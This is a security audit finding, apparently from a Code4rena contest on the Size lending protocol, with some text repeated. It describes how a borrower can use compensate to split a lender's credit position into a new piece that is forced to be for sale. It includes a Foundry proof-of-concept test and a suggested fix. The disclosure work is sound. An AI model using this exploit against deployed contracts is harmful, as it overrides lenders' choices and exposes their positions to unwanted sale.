When lenders create credit positions, they are set by default for sale, however, lenders can set specific positions as not for sale, in other words, if a lender doesn't want to sell this specific credit, this can be done by calling setUserConfiguration. On the other hand, a borrower (who has a corresponding debt position from that credit position) can split this lender's credit position into multiple pieces which sets them by default as for sale, without the lender's acknowledgment.
This can be done by the borrower calling compensate while passing creditPositionToCompensateId as RESERVED_ID. executeCompensate creates a new credit position while having forSale: true according to the amount input, which can be 99% of the lender's credit position.
This allows a user (borrower) to alter another user's (lender) credit position config, by moving its credit to another defaulted settings position.
Proof of Concept
function test_borrower_can_force_position_for_sale() public {
_deposit(alice, weth, 100e18);
_deposit(alice, usdc, 500e6);
_deposit(bob, weth, 100e18);
_deposit(bob, usdc, 500e6);
_deposit(candy, weth, 100e18);
_deposit(candy, usdc, 500e6);
int256[] memory aprs = new int256[](1);
uint256[] memory tenors = new uint256[](1);
uint256[] memory marketRateMultipliers = new uint256[](1);
aprs[0] = 0.2e18;
tenors[0] = 365 days;
marketRateMultipliers[0] = 0;
// Bob creates a limit order
vm.prank(bob);
size.buyCreditLimit(
BuyCreditLimitParams({
curveRelativeTime: YieldCurve({
tenors: tenors,
marketRateMultipliers: marketRateMultipliers,
aprs: aprs
}),
maxDueDate: block.timestamp + 365 days
})
);
uint256 amount = 100e6;
// Alice sells credit market (borrows)
vm.prank(alice);
size.sellCreditMarket(
SellCreditMarketParams({
lender: bob,
creditPositionId: type(uint256).max,
tenor: 365 days,
amount: amount,
exactAmountIn: true,
deadline: block.timestamp,
maxAPR: type(uint256).max
})
);
uint256 creditPositionId = type(uint256).max / 2;
// Bob's credit position is for sale
assertTrue(size.getCreditPosition(creditPositionId).forSale);
uint256[] memory creditPositionIds = new uint256[](1);
creditPositionIds[0] = creditPositionId;
// Bob sets that position as not for sale
vm.prank(bob);
size.setUserConfiguration(
SetUserConfigurationParams({
openingLimitBorrowCR: 0,
allCreditPositionsForSaleDisabled: false,
creditPositionIdsForSale: false,
creditPositionIds: creditPositionIds
})
);
// Bob's credit position is not for sale
assertFalse(size.getCreditPosition(creditPositionId).forSale);
uint256 newAmount = 90e6;
// Alice compensates the credit position with 90% of the amount
vm.prank(alice);
size.compensate(
CompensateParams({
creditPositionWithDebtToRepayId: creditPositionId,
creditPositionToCompensateId: type(uint256).max,
amount: newAmount
})
);
uint256 newCreditPositionId = creditPositionId + 1;
// Bob's old credit position is not for sale and worth 10 USDC
assertEq(
size.getCreditPosition(creditPositionId).credit,
amount - newAmount
);
assertFalse(size.getCreditPosition(creditPositionId).forSale);
// Bob's new credit position is for sale and worth 90 USDC
assertEq(size.getCreditPosition(newCreditPositionId).credit, newAmount);
assertTrue(size.getCreditPosition(newCreditPositionId).forSale);
}
Tools Used
Manual review
Recommended Mitigation Steps
Update the forSale field for the newly created credit and set it as the previous one's, by adding something like the following in executeCompensate:
state
.data
.creditPositions[state.data.nextCreditPositionId - 1]
.forSale = creditPositionWithDebtToRepay.forSale;
Lines of code
https://github.com/code-423n4/2024-06-size/blob/main/src/libraries/actions/Compensate.sol#L106-L156 https://github.com/code-423n4/2024-06-size/blob/main/src/libraries/AccountingLibrary.sol#L103-L127
Vulnerability details
Impact
When lenders create credit positions, they are set by default for sale, however, lenders can set specific positions as not for sale, in other words, if a lender doesn't want to sell this specific credit, this can be done by calling
setUserConfiguration
. On the other hand, a borrower (who has a corresponding debt position from that credit position) can split this lender's credit position into multiple pieces which sets them by default as for sale, without the lender's acknowledgment.This can be done by the borrower calling
compensate
while passingcreditPositionToCompensateId
asRESERVED_ID
.executeCompensate
creates a new credit position while havingforSale: true
according to the amount input, which can be 99% of the lender's credit position.This allows a user (borrower) to alter another user's (lender) credit position config, by moving its credit to another defaulted settings position.
Proof of Concept
Tools Used
Manual review
Recommended Mitigation Steps
Update the
forSale
field for the newly created credit and set it as the previous one's, by adding something like the following inexecuteCompensate
:Assessed type
Access Control